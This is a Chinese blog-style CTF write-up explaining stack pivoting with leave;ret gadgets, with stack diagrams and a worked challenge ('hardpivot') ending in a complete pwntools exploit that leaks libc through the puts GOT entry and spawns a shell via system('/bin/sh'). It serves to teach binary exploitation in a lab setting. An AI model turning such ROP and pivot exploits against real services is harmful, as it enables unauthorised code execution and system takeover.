当前位置: 首页 > news >正文

Stack pivot (leave_ret详解)

栈迁移原理

因为本人目前学识浅薄,详细的内容见花式栈溢出技巧 - CTF Wiki的frame faking的部分,这里只进行简单讲解。(读者需要会基础的rop链)

当源程序存在栈溢出漏洞但溢出空间过小,没办法构造完整rop链时,可以考虑将通过两次leave_ret将rsp移动到已知地址可写入的空间,再执行提前写好的rop链。

leave  -> mov rsp rbppop rbp
ret    -> pop rip
(下面是NO PIE的情况)
# 第一次leave前 rip = leave_addr写完payload的stack
+--------+ 
|        | ← rsp (未知地址)
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ ···
+--------+ 
|0x404100| ← rbp (未知地址)
+--------+
|0x402100| (0x402100 -> leave_ret_addr)
+--------+ # leave前半句mov rsp rbp执行完+--------+ 
|        | 
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ ···
+--------+ 
|0x404100| ← rbp rsp (未知地址)
+--------+
|0x402100| (0x402100 -> leave_ret_addr)
+--------+ # 第一次leave完 rip = ret_addr (leave后半句pop rbp执行完)stack
+--------+ 
|        | 
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ ···
+--------+ 
|0x404100| 
+--------+
|0x402100| ← rsp
+--------+ .bss
+--------+ 
|0x404200| ← rbp (rbp = 0x404100)
+--------+ 
|pop_rdi | ← 提前写好的rop
+--------+ 
|binsh   | 
+--------+ 
|system  |
+--------+ 
|        | 
+--------+
|        | 
+--------+ # 第一次ret完 rip = leave_addrstack
+--------+ 
|        | 
+--------+ 
|aaaaaaaa| ← buf (未知地址)
+--------+ 
|baaaaaaa| 
+--------+ ···
+--------+ 
|0x404100| 
+--------+
|0x402100| 
+--------+ 
|        | ← rsp
+--------+ .bss
+--------+ 
|0x404200| ← rbp (rbp = 0x404100)
+--------+ 
|pop_rdi | 
+--------+ 
|binsh   | 
+--------+ 
|system  |
+--------+ 
|        | 
+--------+
|        | 
+--------+ # 第二次leave完 rip = ret_addr.bss
+--------+ 
|0x404200| 
+--------+ 
|pop_rdi | ← rsp (rsp = 0x404100)
+--------+ 
|binsh   | 
+--------+ 
|system  |
+--------+ ···
+--------+
|        | ← rbp (rbp = 0x404200)
+--------+ # 第二次ret后执行rop

例题

hardpivot

$ checksec ./pwn
[*] '/home/tracs/PWN/FS_PWN/hardpivot/pwn'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX enabledPIE:        No PIE (0x3fe000)SHSTK:      EnabledIBT:        EnabledStripped:   No

No canary found、No PIE、got表可写。

ssize_t vuln()
{_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREFputs("This time I will not give you any gifts again.");puts(aASingleStackPi);puts("Think back to what you learned from the previous challenges and integrate it comprehensively.");puts("You have made it this far—keep going, victory is not far away.");printf("> ");return read(0, buf, 0x50uLL);
}

存在栈溢出但只有16字节,只能勉强控制执行流,无法构造完整rop链,所以考虑栈迁移的方法做这一题。那接下来要面对的任务有:1.向已知地址写入rop;2.泄露libc地址

.text:0000000000401264                 lea     rax, [rbp+buf]
.text:0000000000401268                 mov     edx, 50h ; 'P'  ; nbytes
.text:000000000040126D                 mov     rsi, rax        ; buf
.text:0000000000401270                 mov     edi, 0          ; fd
.text:0000000000401275                 call    _read
.text:000000000040127A                 nop
.text:000000000040127B                 leave
.text:000000000040127C                 retn

回顾栈迁移的过程,我们发现第一次leave后我们是先将rbp移动到已知地址,第二次leave才将rsp挪过去。看源码发现可用的leave_ret上面刚好有一个read,以rbp确定rsi。

bss_addr=0x404000+0x1000
read_addr=0x401264
offset=0x40
payload_1=b'a'*offset
payload_1+=p64(bss_addr+0x40)
payload_1+=p64(read_addr)
io.send(payload_1)

所以如此构造payload,第一次leave_ret后将从bss_addr开始写入东西。

.text:000000000040119E                 pop     rdi
.text:000000000040119F                 retn

然后利用函数magic内的pop_rdi可以通过函数puts将puts的got表吐出来,得到libc地址。

sleep(0.1)
pop_rdi_ret=0x40119e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret_addr=0x40127C
leave_ret=0x40127b
payload_2=p64(bss_addr+0x40+0x100)
payload_2+=p64(pop_rdi_ret)
payload_2+=p64(puts_got)
payload_2+=p64(puts_plt)
payload_2+=p64(read_addr)
payload_2=payload_2.ljust(0x40,b'\x00')
payload_2+=p64(bss_addr)
payload_2+=p64(leave_ret)
io.send(payload_2)puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
success('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

payload_1的read执行后,leave完rsp->bss_addr+0x40、rbp->bss__addr
接着执行payload_2后面的leave_ret,leave完后,rsp->bss_addr+0x40+0x8->pop_rdi_ret
然后就是泄露libc地址的puts

sleep(0.1)
payload_3=p64(bss_addr+0x40)
payload_3+=p64(pop_rdi_ret)
payload_3+=p64(binsh_addr)
payload_3+=p64(ret_addr)
payload_3+=p64(system_addr)
payload_3=payload_3.ljust(0x40,b'\x00')
payload_3+=p64(bss_addr+0x100)
payload_3+=p64(leave_ret)
io.send(payload_3)

接着就是发送payload_3
read结束后面的leave结束后,rsp-> bss_addr+0x40+0x100+0x8 ,rbp -> bss_addr+0x100
接着就又执行一次leave_ret后,rsp->bss_addr+0x100+0x8->pop_rdi_ret

exp

from pwn import *
context(arch='amd64',os='linux')
context.log_level='debug'pwn='./pwn'
elf=ELF(pwn)
libc=elf.libcLOCAL=Trueif LOCAL:io=process(pwn)
else:io=remote('xxxxx',12345)def dbg():gdb.attach(io)pause()io.recvuntil(b'> ')bss_addr=0x404000+0x1000
read_addr=0x401264
offset=0x40
payload_1=b'a'*offset
payload_1+=p64(bss_addr+0x40)
payload_1+=p64(read_addr)
io.send(payload_1)sleep(0.1)
pop_rdi_ret=0x40119e
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
ret_addr=0x40127C
leave_ret=0x40127b
payload_2=p64(bss_addr+0x40+0x100)
payload_2+=p64(pop_rdi_ret)
payload_2+=p64(puts_got)
payload_2+=p64(puts_plt)
payload_2+=p64(read_addr)
payload_2=payload_2.ljust(0x40,b'\x00')
payload_2+=p64(bss_addr)
payload_2+=p64(leave_ret)
io.send(payload_2)puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
success('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))sleep(0.1)
payload_3=p64(bss_addr+0x40)
payload_3+=p64(pop_rdi_ret)
payload_3+=p64(binsh_addr)
payload_3+=p64(ret_addr)
payload_3+=p64(system_addr)
payload_3=payload_3.ljust(0x40,b'\x00')
payload_3+=p64(bss_addr+0x100)
payload_3+=p64(leave_ret)
io.send(payload_3)io.interactive()
http://www.jsqmd.com/news/482502/

相关文章:

  • 京东自营家装来了,用AI进军家装未来何在?
  • P8635 [蓝桥杯 2016 省 AB] 四平方和【枚举+打表】
  • P8636 [蓝桥杯 2016 省 AB] 最大比例【GCD】
  • Go Viper
  • 鸽姆智库全球AI大模型14项核心弊端全维度诊断与根治性解决方案总报告
  • 量化交易系列(七):为什么所有公开的量化策略,都赚不了钱?
  • 【YOLO26实战全攻略】09——YOLO26多目标跟踪实战宝典:从原理到智慧园区人流统计全流程
  • Go Gorm
  • 拒绝 500 与 404:Spring Boot 全局异常处理机制深度解析与常见 API 错误避坑指南
  • 大模型的“大脑”是如何构造的?深度拆解语义建模的三种典型架构
  • 从参数校验失败到序列化陷阱:构建健壮 Spring Boot RESTful API 的十大高频错误复盘
  • 玩转二叉树
  • Thinkphp和Laravel框架都支持 博物馆文物科普知识普及系统微信小程序-
  • Thinkphp和Laravel框架都支持微信小程序的展会展馆纪念馆门票在线预约管理系统19rtj
  • Thinkphp和Laravel框架都支持微信小程序的校园外卖系统 商家
  • Thinkphp和Laravel框架都支持心血管疾病风险预测小程序设计与实现-
  • Thinkphp和Laravel框架都支持微信小程序的校园社区报修上门维修系统
  • 网络安全、计算机网络、理论技术+企业级的产品实践经验相结合Part1 网络安全产品终端侦测与响应系统(EDR)网络侦测与响应系统(NDR)多引擎脆弱性(漏洞)扫描(VAS)网络安全威胁情报
  • 10个成功案例:AI应用架构师是如何用AI激活元宇宙商业生态的?
  • HashMap扩容机制
  • 更新-常用的Flask第三方扩展库清单合集教程和详细的代码示例
  • JavaDays08顺序结构And选择结构
  • 网络安全、渗透测试、安全开发、安全分析岗位面试笔记和参考答案,现已全部更新到服务器
  • HashMap详解
  • AI时代,.NET开发者的生存危机还是能力外挂?
  • 更新-DevOps运维人员必掌握的Linux命令清单教程合集
  • 在1panl安装 skill 比如安装腾讯gp咨询接口 Tushare skills,名称为tushare-data
  • 用mediainfo查看是否是后置mp4
  • 宁夏中宁枸杞品牌都有哪些?玺赞枸杞全维度解析 - 宁夏壹山网络
  • 【Vibe Coding解惑】从 Prompt 到 Code:生成流程解析